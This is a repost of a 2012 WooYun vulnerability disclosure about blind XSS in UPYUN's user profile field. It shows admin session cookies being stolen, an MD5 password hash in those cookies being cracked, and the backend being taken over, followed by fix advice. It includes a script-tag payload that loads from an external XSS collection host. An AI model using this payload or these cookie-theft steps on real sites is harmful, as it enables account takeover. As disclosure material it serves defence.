IT技术互动交流平台

XSS盲打遇到会话过期漏洞与修复

作者:猴子  发布日期:2013-03-08 20:35:27

缺陷编号: WooYun-2012-11929

漏洞标题: 当盲打输入框遇到XSS,当XSS遇到会话过期,当会话过期遇到错误的COOKIES写法。

相关厂商: 杭州纬聚网络有限公司

漏洞作者: imlonghao

提交时间: 2012-09-08

漏洞类型: xss跨站脚本攻击

=======================================

详细说明

之前和阿华说过了这个XSS,貌似已经补了,删掉了<和”

现在和下面的漏洞一起提上来刷个分~嘿嘿…

之前的测试帐号没被删除,只是被禁用了,在后台显示的时候依然会显示出来,XSS代码也会显示出来。

今天去看XSS的列表,又发现了UPYUN的地址,于是就去折腾他的COOKIES信息,发现,居然将用户的帐号以明文和密码以MD5 32位的方式记录在COOKIES中,无语ing…..

于是,用正确的密码进入了后台,发现可以重置用户密码,重置后的后果你懂的~~ www.it165.net

=======================================

漏洞证明

1、去免费申请申请一个帐号,在个人信息中写上XSS代码。


"><script src=http://xsser.me/pIQKKz></script>

 

2、当管理看到我的信息的时候,跨了~

 


 

 

3、当我拿着COOKIES和地址欺骗登录的时候,郁闷了,居然session会话失效

 


 

4、就在郁闷之际,看了看COOKIES,发现了奇葩之处,用URIComp解码了下,发现了一个password字段,目测一下,是一个32位MD5加密的字段,于是乎,CMD5之,收费。经过一轮求破解,知道了密码,貌似居然弱口令……

 


 

5、碉堡了,成功进入后台

 


 

各种功能

 


 

手机

 


 

修复方案


后台不对公网公开

优化COOKIES的写法?您看过哪些站的COOKIES里面有密码的

在公司里强调不要使用弱口令等等,要修改强密码~别扣工资就行,不然他会怪我的…


Link:http://imlonghao.com/post/2012-10-20/%E7%9B%B2%E6%89%93%E5%8F%88%E6%8B%8D%E4%BA%91%E9%94%80%E5%94%AE%E5%90%8E%E5%8F%B0

 

Tag标签: XSS盲打   漏洞   修复  
  • 专题推荐

About IT165 - 广告服务 - 隐私声明 - 版权申明 - 免责条款 - 网站地图 - 网友投稿 - 联系方式
本站内容来自于互联网,仅供用于网络技术学习,学习中请遵循相关法律法规